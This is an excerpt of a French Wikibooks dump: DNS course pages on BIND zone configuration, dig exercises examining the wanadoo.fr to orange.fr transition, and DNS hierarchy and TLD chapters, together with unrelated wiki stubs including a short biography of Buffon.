G.ROOT-SERVERS.NET. 3600000 IN A 192.112.36.4 . 518400 IN NS H.ROOT-SERVERS.NET. H.ROOT-SERVERS.NET. 3600000 IN A 128.63.2.53 . 518400 IN NS I.ROOT-SERVERS.NET. I.ROOT-SERVERS.NET. 3600000 IN A 192.36.148.17 . 518400 IN NS J.ROOT-SERVERS.NET. J.ROOT-SERVERS.NET. 3600000 IN A 192.58.128.30 . 518400 IN NS K.ROOT-SERVERS.NET. K.ROOT-SERVERS.NET. 3600000 IN A 193.0.14.129 . 518400 IN NS L.ROOT-SERVERS.NET. L.ROOT-SERVERS.NET. 3600000 IN A 198.32.64.12 . 518400 IN NS M.ROOT-SERVERS.NET. M.ROOT-SERVERS.NET. 3600000 IN A 202.12.27.33 </pre> ==Fichier zone pour la résolution inverse== Pour la résolution inverse. Il faut définir la zone "1.168.192.in-addr.arpa.". Il faut donc ajouter une dernière zone au fichier "named.conf". <pre> options { directory "c:/windows/system32/dns/etc/namedb"; }; zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; zone "tld1" in { type master; file "db.tld1"; notify yes; }; zone "sld1.tld1" in { type master; file "db.sld1.tld1"; notify no; }; zone "." in { type hint; file "db.cache"; }; zone "1.168.192.in-addr.arpa" in { type master; file "db.192.168.1"; notify no; }; </pre> Maintenant le contenu du fichier zone "db.192.168.1" est assez proche de "db.127.0.0". Il simplement garder à l'esprit que chaque élément possède en fait deux noms. Ce qui donne donc : <pre> $TTL 3h 1.168.192.in-addr.arpa. IN SOA portable.tld1. postmaster.tld1. ( 1; numero de serie 1h; rafraichissement 3h; nouvel essai 1w; expiration 1h; ttl negatif ) 1.168.192.in-addr.arpa. IN NS portable.tld1. 1.168.192.in-addr.arpa. IN NS fixe.tld1. 10.1.168.192.in-addr.arpa. IN PTR portable.tld1. 10.1.168.192.in-addr.arpa. IN PTR portable.sld1.tld1. 11.1.168.192.in-addr.arpa. IN PTR fixe.tld1. 11.1.168.192.in-addr.arpa. IN PTR fixe.sld1.tld1. 1.1.168.192.in-addr.arpa. IN PTR livebox.tld1. 1.1.168.192.in-addr.arpa. IN PTR livebox.sld1.tld1. </pre> ==Configuration du secondaire== Le secondaire ne va pas avoir en local les fichiers zones mais va les récupérer lors du démarrage sur le primaire. Les zones concernés sont "tld1", "sld1.tld1" et la zone inverse "1.168.192.in-addr.arpa". Une petite adaptation sera à faire sur le fichier "db.127.0.0". Le nouveau fichier de configuration named.conf est donc : <pre> options { directory "c:/windows/system32/dns/etc/namedb"; }; zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; zone "tld1" in { type slave; file "db.bak.tld1"; masters {192.168.1.10; }; }; zone "sld1.tld1" in { type slave; file "db.bak.sld1.tld1"; masters {192.168.1.10; }; }; zone "." in { type hint; file "db.cache"; }; zone "1.168.192.in-addr.arpa" in { type slave; file "db.bak.192.168.1"; masters {192.168.1.10; }; }; </pre> Si tout se passe bien, les fichiers sont transféré et sont visible sur le secondaire. Lorsqu'on les regarde, on constate qu'ils utilisent un notation simplifiée avec la directive "$ORIGIN". Les noms sont des noms relatifs non terminés par un point. On a par exemple pour "db.bak.tld1" : <pre> $ORIGIN . $TTL 10800 ; 3 hours tld1 IN SOA portable.tld1. franck.tld1. ( 2 ; serial 3600 ; refresh (1 hour) 10800 ; retry (3 hours) 604800 ; expire (1 week) 3600 ; minimum (1 hour) ) NS fixe.tld1. NS portable.tld1. $ORIGIN tld1. beau-portable CNAME portable fixe A 192.168.1.11 livebox A 192.168.1.1 localhost A 127.0.0.1 portable A 192.168.1.10 routeur CNAME livebox sld1 NS fixe NS portable vieux-fixe CNAME fixe </pre> Enfin, les serveurs peuvent être testés avec la commande Dig. =TP 3 : QCM de l'AFNIC= L'AFNIC a mis en place un très bonne présentation d'une DNS. Chaque partie se termine par un questionnaire. je propose donc de bien lire l'intégralité de ce cours et de faire les questionnaires. Attention certaines questions ne sont évidentes pour les personnes débutantes dans le DNS. Le site est http://www.afnic.fr/ext/dns/. =TP 4 : Quand wanadoo.fr devient orange.fr= En juin 2006, Wanadoo.fr devient orange.fr. Mais pour les clients la messagerie et le site web doivent toujours fonctionner avec la nouvelle adresse et l'ancienne adresse. Regardons en détail la zone orange.fr <pre> dig ANY orange.fr ; <<>> DiG 9.3.2 <<>> ANY orange.fr ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 442 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 2, ADDITIONAL: 18 ;; QUESTION SECTION: ;orange.fr. IN ANY ;; ANSWER SECTION: orange.fr. 473 IN MX 10 smtp-in.orange.fr. orange.fr. 2153 IN NS ns2.wanadoo.fr. orange.fr. 2153 IN NS ns.wanadoo.fr. ;; AUTHORITY SECTION: orange.fr. 2153 IN NS ns.wanadoo.fr. orange.fr. 2153 IN NS ns2.wanadoo.fr. ;; ADDITIONAL SECTION: smtp-in.orange.fr. 473 IN A 193.252.23.110 smtp-in.orange.fr. 473 IN A 193.252.22.56 smtp-in.orange.fr. 473 IN A 193.252.22.65 smtp-in.orange.fr. 473 IN A 193.252.22.78 smtp-in.orange.fr. 473 IN A 193.252.22.79 smtp-in.orange.fr. 473 IN A 193.252.22.80 smtp-in.orange.fr. 473 IN A 193.252.22.81 smtp-in.orange.fr. 473 IN A 193.252.22.82 smtp-in.orange.fr. 473 IN A 193.252.22.83 smtp-in.orange.fr. 473 IN A 193.252.22.89 smtp-in.orange.fr. 473 IN A 193.252.22.92 smtp-in.orange.fr. 473 IN A 193.252.22.107 smtp-in.orange.fr. 473 IN A 193.252.22.110 smtp-in.orange.fr. 473 IN A 193.252.22.116 smtp-in.orange.fr. 473 IN A 193.252.22.123 smtp-in.orange.fr. 473 IN A 193.252.23.67 ns.wanadoo.fr. 1441 IN A 80.12.255.24 ns2.wanadoo.fr. 304 IN A 80.12.255.159 ;; Query time: 62 msec ;; WHEN: Thu Jun 29 10:46:45 2006 ;; MSG SIZE rcvd: 410 </pre> Elle pointe bien vers wanadoo.fr. Regardons en détail la zone wanadoo.fr. <pre> dig ANY wanadoo.fr ; <<>> DiG 9.3.2 <<>> ANY wanadoo.fr ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 206 ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 4, ADDITIONAL: 4 ;; QUESTION SECTION: ;wanadoo.fr. IN ANY ;; ANSWER SECTION: wanadoo.fr. 158 IN NS ns11.wanadoo.fr. wanadoo.fr. 158 IN NS ns.wanadoo.fr. wanadoo.fr. 158 IN NS ns2.wanadoo.fr. wanadoo.fr. 158 IN NS ns10.wanadoo.fr. wanadoo.fr. 356 IN SOA ns.wanadoo.fr. postmaster.wanado o.fr. 2006062801 21600 7200 604800 600 wanadoo.fr. 2471 IN MX 10 smtp.wanadoo.fr. ;; AUTHORITY SECTION: wanadoo.fr. 158 IN NS ns10.wanadoo.fr. wanadoo.fr. 158 IN NS ns11.wanadoo.fr. wanadoo.fr. 158 IN NS ns.wanadoo.fr. wanadoo.fr. 158 IN NS ns2.wanadoo.fr. ;; ADDITIONAL SECTION: ns.wanadoo.fr. 1318 IN A 80.12.255.24 ns2.wanadoo.fr. 181 IN A 80.12.255.159 ns10.wanadoo.fr. 2498 IN A 80.12.255.23 ns11.wanadoo.fr. 1318 IN A 80.12.255.152 ;; Query time: 15 msec ;; WHEN: Thu Jun 29 10:48:49 2006 ;; MSG SIZE rcvd: 289 </pre> Visiblement wanadoo.fr ne donne pas beaucoup de renseignements. Nous allons l'interroger directement sur l'enregistrement MX. <pre> dig MX wanadoo.fr ; <<>> DiG 9.3.2 <<>> MX wanadoo.fr ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1163 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 16 ;; QUESTION SECTION: ;wanadoo.fr. IN MX ;; ANSWER SECTION: wanadoo.fr. 2226 IN MX 10 smtp.wanadoo.fr. ;; ADDITIONAL SECTION: smtp.wanadoo.fr. 82 IN A 193.252.22.56 smtp.wanadoo.fr. 82 IN A 193.252.22.65 smtp.wanadoo.fr. 82 IN A 193.252.22.78 smtp.wanadoo.fr. 82 IN A 193.252.22.79 smtp.wanadoo.fr. 82 IN A 193.252.22.80 smtp.wanadoo.fr. 82 IN A 193.252.22.81 smtp.wanadoo.fr. 82 IN A 193.252.22.82 smtp.wanadoo.fr. 82 IN A 193.252.22.83 smtp.wanadoo.fr. 82 IN A 193.252.22.89 smtp.wanadoo.fr. 82 IN A 193.252.22.92 smtp.wanadoo.fr. 82 IN A 193.252.22.107 smtp.wanadoo.fr. 82 IN A 193.252.22.110 smtp.wanadoo.fr. 82 IN A 193.252.22.116 smtp.wanadoo.fr. 82 IN A 193.252.22.123 smtp.wanadoo.fr. 82 IN A 193.252.23.67 smtp.wanadoo.fr. 82 IN A 193.252.23.110 ;; Query time: 62 msec ;; WHEN: Thu Jun 29 10:52:53 2006 ;; MSG SIZE rcvd: 305 </pre> Donc les deux zones semblent bien pointer pour les serveurs de messagerie vers les même machines. Apparemment, il s'agit d'un important cluster. Regardons maintenant la correspondance inverse, je prends l'adresse 193.252.22.100. <pre> dig -x 193.252.22.110 ; <<>> DiG 9.3.2 <<>> -x 193.252.22.110 ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1129 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;110.22.252.193.in-addr.arpa. IN PTR ;; ANSWER SECTION: 110.22.252.193.in-addr.arpa. 86315 IN PTR smtp.orange.fr. ;; Query time: 0 msec ;; WHEN: Thu Jun 29 10:59:12 2006 ;; MSG SIZE rcvd: 73 </pre> Elle répond smtp.orange. Ce qui semble logique : orange.fr remplace wanadoo.fr. Maintenant regardons le site web. Le site www.wanadoo.fr pointe sur le site de www.orange.fr. <pre> dig A www.wanadoo.fr ; <<>> DiG 9.3.2 <<>> A www.wanadoo.fr ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 816 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 6, ADDITIONAL: 6 ;; QUESTION SECTION: ;www.wanadoo.fr. IN A ;; ANSWER SECTION: www.wanadoo.fr. 2539 IN CNAME www.wanadoo.fr.multis.x-echo.com . www.wanadoo.fr.multis.x-echo.com. 61 IN A 193.252.122.103 www.wanadoo.fr.multis.x-echo.com. 61 IN A 193.252.149.30 ;; AUTHORITY SECTION: multis.x-echo.com. 168757 IN NS ns2.bavoila.net. multis.x-echo.com. 168757 IN NS ns3.x-echo.com. multis.x-echo.com. 168757 IN NS ns3.bavoila.net. multis.x-echo.com. 168757 IN NS ns1.x-echo.com. multis.x-echo.com. 168757 IN NS ns1.bavoila.net. multis.x-echo.com. 168757 IN NS ns2.x-echo.com. ;; ADDITIONAL SECTION: ns1.x-echo.com. 11250 IN A 195.101.94.10 ns1.bavoila.net. 5134 IN A 193.252.118.130 ns2.x-echo.com. 61990 IN A 195.101.94.1 ns2.bavoila.net. 5134 IN A 193.252.122.34 ns3.x-echo.com. 62625 IN A 193.252.148.142 ns3.bavoila.net. 784 IN A 193.252.122.36 ;; Query time: 62 msec ;; WHEN: Thu Jun 29 11:07:43 2006 ;; MSG SIZE rcvd: 325 </pre> Et www.orange.fr ??? <pre> dig A www.orange.fr ; <<>> DiG 9.3.2 <<>> A www.orange.fr ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 436 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 6, ADDITIONAL: 6 ;; QUESTION SECTION: ;www.orange.fr. IN A ;; ANSWER SECTION: www.orange.fr. 339 IN CNAME www.orange.fr.multis.x-echo.com. www.orange.fr.multis.x-echo.com. 182 IN A 193.252.122.103 www.orange.fr.multis.x-echo.com. 182 IN A 193.252.149.30 ;; AUTHORITY SECTION: multis.x-echo.com. 168707 IN NS ns1.bavoila.net. multis.x-echo.com. 168707 IN NS ns2.x-echo.com. multis.x-echo.com. 168707 IN NS ns2.bavoila.net. multis.x-echo.com. 168707 IN NS ns3.x-echo.com. multis.x-echo.com. 168707 IN NS ns3.bavoila.net. multis.x-echo.com. 168707 IN NS ns1.x-echo.com. ;; ADDITIONAL SECTION: ns1.x-echo.com. 11200 IN A 195.101.94.10 ns1.bavoila.net. 5084 IN A 193.252.118.130 ns2.x-echo.com. 61940 IN A 195.101.94.1 ns2.bavoila.net. 5084 IN A 193.252.122.34 ns3.x-echo.com. 62575 IN A 193.252.148.142 ns3.bavoila.net. 734 IN A 193.252.122.36 ;; Query time: 31 msec ;; WHEN: Thu Jun 29 11:08:33 2006 ;; MSG SIZE rcvd: 323 </pre> Nous allons regarder qui se cache derrière 193.252.122.103 et 193.252.149.30 <pre> dig -x 193.252.122.103 ; <<>> DiG 9.3.2 <<>> -x 193.252.122.103 ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2015 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 4 ;; QUESTION SECTION: ;103.122.252.193.in-addr.arpa. IN PTR ;; ANSWER SECTION: 103.122.252.193.in-addr.arpa. 3600 IN PTR hpwoo.wanadooportails.com. ;; AUTHORITY SECTION: 103.122.252.193.in-addr.arpa. 86400 IN NS ns.x-echo.com. 103.122.252.193.in-addr.arpa. 86400 IN NS ns1.x-echo.com. 103.122.252.193.in-addr.arpa. 86400 IN NS ns1.bavoila.net. 103.122.252.193.in-addr.arpa. 86400 IN NS ns2.bavoila.net. ;; ADDITIONAL SECTION: ns.x-echo.com. 53003 IN A 195.101.94.1 ns1.x-echo.com. 10262 IN A 195.101.94.10 ns1.bavoila.net. 4148 IN A 193.252.118.130 ns2.bavoila.net. 4148 IN A 193.252.122.34 ;; Query time: 46 msec ;; WHEN: Thu Jun 29 11:24:01 2006 ;; MSG SIZE rcvd: 238 </pre> <pre> dig -x 193.252.149.30 ; <<>> DiG 9.3.2 <<>> -x 193.252.149.30 ; (10 servers found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1066 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 4 ;; QUESTION SECTION: ;30.149.252.193.in-addr.arpa. IN PTR ;; ANSWER SECTION: 30.149.252.193.in-addr.arpa. 3600 IN PTR vip10-junon-vlan32.x-echo.com. ;; AUTHORITY SECTION: 149.252.193.in-addr.arpa. 3600 IN NS ns.x-echo.com. 149.252.193.in-addr.arpa. 3600 IN NS ns1.x-echo.com. 149.252.193.in-addr.arpa. 3600 IN NS ns1.bavoila.net. 149.252.193.in-addr.arpa. 3600 IN NS ns2.bavoila.net. ;; ADDITIONAL SECTION: ns.x-echo.com. 52963 IN A 195.101.94.1 ns1.x-echo.com. 10222 IN A 195.101.94.10 ns1.bavoila.net. 4108 IN A 193.252.118.130 ns2.bavoila.net. 4108 IN A 193.252.122.34 ;; Query time: 78 msec ;; WHEN: Thu Jun 29 11:24:41 2006 ;; MSG SIZE rcvd: 234 </pre> On peut également pour continuer faire des "zonecheck" pour wanadoo.fr et orange.fr http://www.afnic.fr/outils/zonecheck. La zone wanadoo.fr passe le test sans problème tandis qu'orange.fr pose problème : La valeur du champ 'retry' est de 7200 sec, et devrait être inférieure au 'refresh' (3600 sec). La référence est le RFC1912 (p.4) "The 'retry' value is typically a fraction of the 'refresh'". L'erreur est considérée comme fatale. Dans le cas présent la zone orange.fr fonctionne en fait correctement. Il est vrai que les TTL sont assez petit. Un dernier point serait de faire une interrogation des bases Whois pour regarder les contacts techniques (http://www.afnic.fr/outils/whois). En fait dans ce cas le contact technique ne donne pas de renseignements supplémentaires. En effet il s'agit d'une trop grande structure et en général le site web et la gestion de la messagerie sont gérés par des entités différentes. [[nl:HTML/Inhoudsopgave]] DNS 8208 45661 2006-06-24T21:52:14Z Guillaumito 46 correction double redirection #REDIRECT [[Système de noms de domaine]] Le DNS 8210 41454 2006-05-03T09:22:36Z Greudin 1 [[Le DNS]] déplacé vers [[Système de noms de domaine]]: sigle explicité #REDIRECT [[Système de noms de domaine]] Modèle:Prgcobol 8211 41457 2006-05-03T09:38:57Z 87.65.131.23 {| style="margin: 0.5em; border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#EAF5FB;" | '''[[Programmation_Cobol_ANS_75|Cobol ANS 75]]''' |- | bgcolor="#EAF5FB" align="center" |'''Sommaire''' |- | bgcolor="white" | * <small> [[Programmation_Cobol_ANS_75|Introduction]] </small> |- | bgcolor="#EAF5FB" align="center" |'''Liens''' |- | bgcolor="white" | *<small>[[exercices]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%E8le:Prgcobol&action=edit Modifier ce modèle]</small> |} Buffon 8216 41490 2006-05-03T17:46:44Z 193.120.144.149 George louis Leclerc : académiciens, savant, mathématiciens, philosophe, vulgarisateur des sciences, maîtres de forges. Un des écrivains les plus renommés du Siècle des Lumières. 1. Résumé Intendant du jardin du Roi pendant presque cinquante ans, académiciens, savant, mathématiciens, philosophe, vulgarisateur des sciences, maîtres de forges, Buffon s'est illustré par sa célèbre Histoire Naturelle en 36 volumes dont le style harmonieux et majestueux en fit l'un des écrivains les plus renommés du Siècle des Lumières. 2. George louis Leclerc, comte de Buffon. George louis Leclerc, comte de Buffon est né à Montbard le 7 septembre 1707. Fils aîné d'un avocat au parlement de Bourgogne. Il a deux frères religieux et deux soeurs, la seul qui survécut devint supérieur aux Ursulines à Montbard. Buffon est élu à l'académie des Sciences en janvier 1737 à l'age de 27 ans. Le 26 juillet 1739, Buffon fut nommé Intendant du jardin du Roi qui est maintenant appelé le jardin des plantes. En 17(é, il épouse Marie-Françoise de Saint-Belin-Mâlain. Le 25 août 1753, Buffon est reçu à l'Académie Française. il succède à Monseigneur Longuet de Cergy, archevêque de Sens. Lors de son entrée, il prononça son fameux discours sur le style. "Le discours de Monsieur de Buffon [...] est interrompu à l'assemblée de l'Académie trois ou quatre fois par les applaudissements du public ", note Grimm, "ce sont des idées sur le style; et l'on dit, à ce sujet, que l'Académie avait pris un maître à écrire". En 1768, débute la construction des forges à Buffon qui durera quatre années. En 1772, Louis XV érige en Comté la terre de Buffon. Il meurt en 1788, à Paris. En 1794, son fils, George Louis Mare, dit Buffonet, est guillotiné durant la Terreur. 3. L'Histoire Naturelle. Le chef d'Oeuvre de Buffon, est assurément l'Histoire Naturelle qui rassemble toutes les connaissances du monde vivant en passant par "l'être suprême": l'Homme. "L'Histoire Naturelle générale et particulière" est un mouvement littéraire qui se compose de trente-six volumes publiés entre 1749 et 1789 dont les derniers à titre posthume. 4. Les Forges de Buffon. Les Forges de Buffon, est une oeuvre de Georges Louis Leclerc (1707-1788), comte de Buffon, qui fut un acteur du siècle des Lumières tout comme le devint Diderot, Voltaire, Rousseau et bien d'autres illustres personnages. Georges Louis Leclerc, couramment appelé Buffon (qui est le nom de la localité), fut, tour à tour, écrivain, naturaliste, mathématicien, biologistes, historien... et est devenu académicien à 26 ans et se lança dans la recherche et les affaires, en construisant les Forges servant de laboratoire pour le travaux sur le fer et la fonte. Elles se trouvent en Bourgogne (France) pres de la ville de Montbard. Système de noms de domaine/Introduction 8217 46458 2006-06-29T10:38:44Z Greudin 1 [[Système de noms de domaine Introduction]] déplacé vers [[Système de noms de domaine/Introduction]]: titre/chapitre {{Modèle:Système_de_noms_de_domaine}} DSN est une abréviation qui peut désigner plusieurs concepts proches : * Domain Name System : Ce sont l'ensemble des organismes qui gèrent les noms de domaines * Domain Name Service : Protocole qui permet d'échanger des informations à propos des domaines * Domain Name Server : Un ordinateur sur lequel fonctionne un logiciel qui comprend le protocole DNS et qui peut répondre à des questions concernant un domaine. Ici, ce qui nous intéresse est le système de noms de domaine. [[Système de noms de domaine]] Système de noms de domaine/Conclusion 8218 46470 2006-06-29T11:40:40Z Greudin 1 [[Système de noms de domaine Conclusion]] déplacé vers [[Système de noms de domaine/Conclusion]]: titre/chap {{Modèle:Système_de_noms_de_domaine}} * DNS est un pièce maîtresse de l'infrastructure DNS * Avenir incertain [[Système de noms de domaine]] Système de noms de domaine/Le modèle hiérarchique 8219 46462 2006-06-29T10:58:32Z Greudin 1 /* sLD inexistants */ m {{Modèle:Système_de_noms_de_domaine}} Le DNS possède un modèle hiérarchique. Dans cette partie, nous allons partir de la racine de l'arbre et aller vers les différentes branches de l'arbre. Nous n'allons pas ou très nous préoccuper des implémentations au niveau de serveurs. C'est essentiellement le modèle qui nous intéresse ici. ==Historique== Le fichier unique Hosts au SRI (Stanford research Institute) ==La structure arborescente du DNS== Les RFC de référence sont les RFC 1034 et RFC 1035 (en remplacement des RFC 882 et RFC 883). Ces RFC décrivent un modèle arborescent. Ils restent plus de 20 ans après la base du DNS aujourd'hui. ===Concepts de base=== * Domaine * Sous-Domaine * Zone * Délégation ===Similitude avec les autres annuaires=== Un annuaire est un système qui centralise les informations concernant les utilisateurs et les services pour en simplifier l'administration. Un annuaire est une base de données, cependant la réciproque est fausse. En effet, un annuaire possède certaines particularités : il est plus sollicité en lecture qu'en écriture et les transactions gérées sont de nature simple (pas de transactions en concurrence ou de gros volume de données). Le modèle arborescent n'est pas unique au DNS. Au contraire, il est même courant dans le monde des annuaires. D'autres annuaires utilisent donc un modèle similaire. On peut citer plusieurs exemples : *''X500'' le modèle de l'annuaire *''LDAP'' simplification du modèle X500 *''Active Directory'' de Microsoft (basé sur LDAP) *''UDDI'' annuaire de services web ====UDDI==== UDDI est un annuaire des services web. Sa version 3 (la dernière) prévoit un structure hiérarchique. ====Monde de Microsoft et le DNS==== =====WINS et DNS===== Les anciens réseaux Microsoft utilisent le protocole NetBEUI. Dans ces réseaux les machines sont identifiées par un nom NetBIOS et l'adresse physique de la carte réseau. NetBEUI ne passe pas les routeurs. Et NetBEUI est remplacé par des protocoles plus modernes. WINS signifie Windows Internet Naming Service. Il va faire le lien entre l'adresse IP et les noms NetBEUI. *Serveur DNS : FQDN (hostname) <--> adresse IP *Serveur WINS : nom NetBIOS <--> adresse IP Contrairement au DNS statisque, WINS est dynamique. Dans certains cas, un serveur WINS peut cohabiter avec un serveur DNS. =====Active Directory et le DNS===== Voir l'article de wikipédia : http://fr.wikipedia.org/wiki/Active_Directory Voir l'également la présentation d'Active Directory http://manu.all-3rd.net/docs/hsc/docs/publications/ad/print/main.pdf Active Directory est le service d'annuaire mis en place par Microsoft dans les derniers Windows (2000 et suivants). Il remplace le service d'annuaire de Windows NT4 qui souffre de nombreuses limites. Ainsi dans NT4 la base des utilisateurs était limitée à 40 000 entrées. AD s'inspire de LDAP et intègre le DNS. C'est donc un système assez complexe. Active Directory est basé sur la notion de domaine (Windows). Ces domaines s'organise en arbres et en forêts. Un arbre est un ensemble de domaines composant une structure hiérarchique où un domaine fait office de domaine racine : exemple stagiaires.soc.fr, techniciens.soc.fr et soc.fr. La notion de forêt est un ensemble de domaine qui ne sont pas sous-domaines les uns des autres, mais liés par une relation de confiance bidirectionnelle transitive. DDNS pour (Dynamique Domain Name Service) est l'implémentation DNS de microsoft. Son but est notamment de remplacer l'ancien WINS (Windows Internet Naming Service). DDNS est donc lié à Active Directory, il profite des mécanismes de réplication et du système de permissions via les ACL d'Active Directory. DDNS interopère avec BIND version 8.2 et supérieur. Il a besoin, pour pouvoir fonctionner correctement, d'un DNS supportant les enregistrement SRV (RFC 2782), les mises a jour dynamiques (RFC 2136) et les transferts de zone. DDNS supporte le transfert de zone incrémental (RFC 1995) et DNSSEC. ===Contraintes sur les noms=== Il existe deux types de contraintes : *des contraintes syntaxiques (liées à l'historique et à la mise en oeuvre du DNS) *des contraintes issues des decisions des acteurs dans les chartes de nommage Exemple dans le cadre du .fr, l'AFNIC maintient une charte de nommage qui dans son article 21 reprend les contraintes syntaxiques et dans son article 20 décrit une liste de termes fondammentaux (interdits et réservés). Les termes interdits sont liés à des crimes et délits. Les termes réservés protègent notamment les termes géographiques comme les villes et les professions. ===La correspondance inverse=== Il s'agit de faire la correspondance entre les adresses IP et les noms de serveurs. ====Rappel sur les adresses IPv4==== Initialement les adresses IP étaient réparties en 5 classe (de A à E) basé sur des blocs de 8 bits. Classe A {| border="1" |- |0 || netid 7 bits || 24 bits hostid |} Classe B {| border="1" |- |1 || 0 || netid 14 bits || 16 bits hostid |} Classe C {| border="1" |- |1 || 1 || 0 || netid 21 bits || 8 bits hostid |} Classe D {| border="1" |- |1 || 1 || 1 || 0 || multicast 28 bits |} Classe E {| border="1" |- |1 || 1 || 1 || 1 || 0 || réservé à usage futur 27 bits |} {| border="1" |- !Classe !Espace |- |A || &nbsp;&nbsp;0.0.0.0 à 127.255.255.255 |- |B || 128.0.0.0 à 191.255.255.255 |- |C || 192.0.0.0 à 223.255.255.255 |- |D || 224.0.0.0 à 239.255.255.255 |- |E || 240.0.0.0 à 247.255.255.255 |} Par la suite, ce modèle de classes A, B et C a été incapable de répondre à la demande des adresses IP. Les classes A gaspillent de nombreuses adresses. CIDR (classless Inter Domain Routing, RFC 1517) permet un découpage plus fin qui ne dépend pas des frontières de 8 bits. La notation est alors <adresse> / <nombre de bits significatifs>. Ainsi 192.0.0.0/8 peut être noté 193/8. On peut imaginer un fournisseur d'accès à Internet gérant les adresses 192.168.0/22. Il peut repartir sa plage d'adresses entre 4 entreprises A, B, C et D : 192.168.0/24, 192.168.1/24, 192.168.2/24, 192.168.3/24. Le RFC 1918 définit les plages d'adresse IPv4 réservées pour IPv4. Ce sont : *10/8 (10.0.0.0 - 10.255.255.255) *172.16/12 (172.16.0.0 - 172.31.255.255) *192.168/16 (192.168.0.0 - 192.168.255.255) =====Les RIR===== Association regroupant des informations communes http://www.nro.net La gestion des adresses IPv4 est une fonction de l'IANA, donc maintenant de l'ICANN. L'ICANN attribue une partie de l'espace d'adressage des registres régionaux ou RIR (Regional Internet Registries). Il existe 5 RIR : *l'APNIC (Asia Pacific Network Information Centre) pour la zone Asie - Pacifique *l'ARIN (American Registry for Internet Numbers) pour la zone Amérique du nord *le RIPE NCC (Réseaux IP Européens - Network Coordination Centre) pour l'Europe, le Moyen-Orient *l'AfriNIC (African Regional Network Information Centre) pour l'Afrique *le LACNIC (Latin American and Caribbean IP address Regional Registry) pour l'Amérique latine Les RIR les attribuent à des registres locaux ou LIR qui sont parfois des fournisseurs d'accès à Internet. L'allocation des adresses IP est décrite dans le RFC 2050. Cette RFC est un peu ancienne et l'IANA maintient sur son site la répartition des adresses IPv4 http://www.iana.org/assignments/ipv4-address-space. ====Correspondance des adresses IPv4==== Cette correspondance utilise le TLD technique arpa. Dans ce domaine, in-addr.arpa est le sous domaine reservé pour la gestion des adresses IPv4. Ainsi la recherche de l'adresse IP 192.0.2.1 correspond à la recherche du nom de domaine 1.2.0.192.in-addr.arpa. ====Correspondance inverse et CIDR==== Voir RFC 2317 ==La racine du DNS== ===L'ICANN=== C'est une association californienne sans but lucratif. Elle gère notamment la racine du DNS. ===Modèle de racine unique=== Le DNS se base sur un modèle avec une racine "logique" unique. Ce modèle est décrit dans la RFC 2826. Cela signifie qu'il existe qu'une seule source de données. Ce modèle est repris dans le document ICP-3 de l'ICANN "A Unique, Authoritative Root for the DNS" http://www.icann.org/icp/icp-3.htm. ICP signifie Internet Coordination Policy. Par contre physiquement, il existe plusieurs serveurs redondant qui implémentent la racine. ===Les serveurs root=== Treize serveurs root, cette limite évite d'avoir des messages DNS trop long. Répartition spatiale : * 10 aux Etats-Unis * 2 en Europe * 1 en Asie (Japon) La gestion correcte des serveurs racines est décrite dans le [http://www.ietf.org/rfc/rfc2870.txt RFC 2870]. ====La technique Anycast==== La technique anycast va permettre d'associer à une adresse IP plusieurs machines éloignées physiquement. Une seule machine parmi le groupe va réponse au datagramme IP. Anycast est prévu dans le cadre de IPv6. Cette technique a été reprise dans le cadre de IPv4. L'application d'anycast au DNs est décrite dans le RFC 3258 (avril 2002). Actuellement, cette technique permet de passer de 13 serveurs root à environ 60. Par contre, il n'y a que 13 adresses IPv4 pour ces serveurs. ==Les TLD== TLD signifie Top Level Domain ou en français noms de domaine de premier niveau. On distingue dans un premier niveau d'abstraction : * les ''gTLD'' de type générique * les ''ccTLD'' liés à un pays ou plus généralement à un territoire Un second niveau de détails ajoute les sTLD et le TLD technique ".arpa". ===Les gTLD=== Ce sont les très connus .com .net et .org. A partir de 2001, l'ICANN a introduit des TLD de seconde génération comme le .biz et le .info. ====Les sTLD==== sTLD sont une variante des gTLD. Il s'agit des TLD "sponsorisés". Cette notion apparaît dans le RFC 3071. La définition en anglais selon l'ICANN est la suivante : ''The Sponsored Top Level Domain (sTLD) is a TLD that is delegated to an organization that has responsibility for the formulation and enforcement of certain policies that would normally be formulated and enforced by ICANN (Internet Corporation for Assigned Names and Numbers). The Sponsoring Organization represents the interests of the TLD community.'' Donc la notion de sTLD fait apparaitre la notion de sponsor qui représente les intérets de la communauté liée au TLD. Les exemples des sTLD sont les ".aero" et ".museum". ===Les ccTLD=== Ce sont les .fr .be ... Ces noms suivent la norme ISO 3166-1. Environ 240 sont définis. ===le TLD infrastructure (arpa)=== C'est le ".arpa". Il gére la résolution inverse et toutes les extensions du DNS. les détails de TLD infrastructure est décrit dans le RFC 3172 (septembre 2001) qui définit les sous-domaines 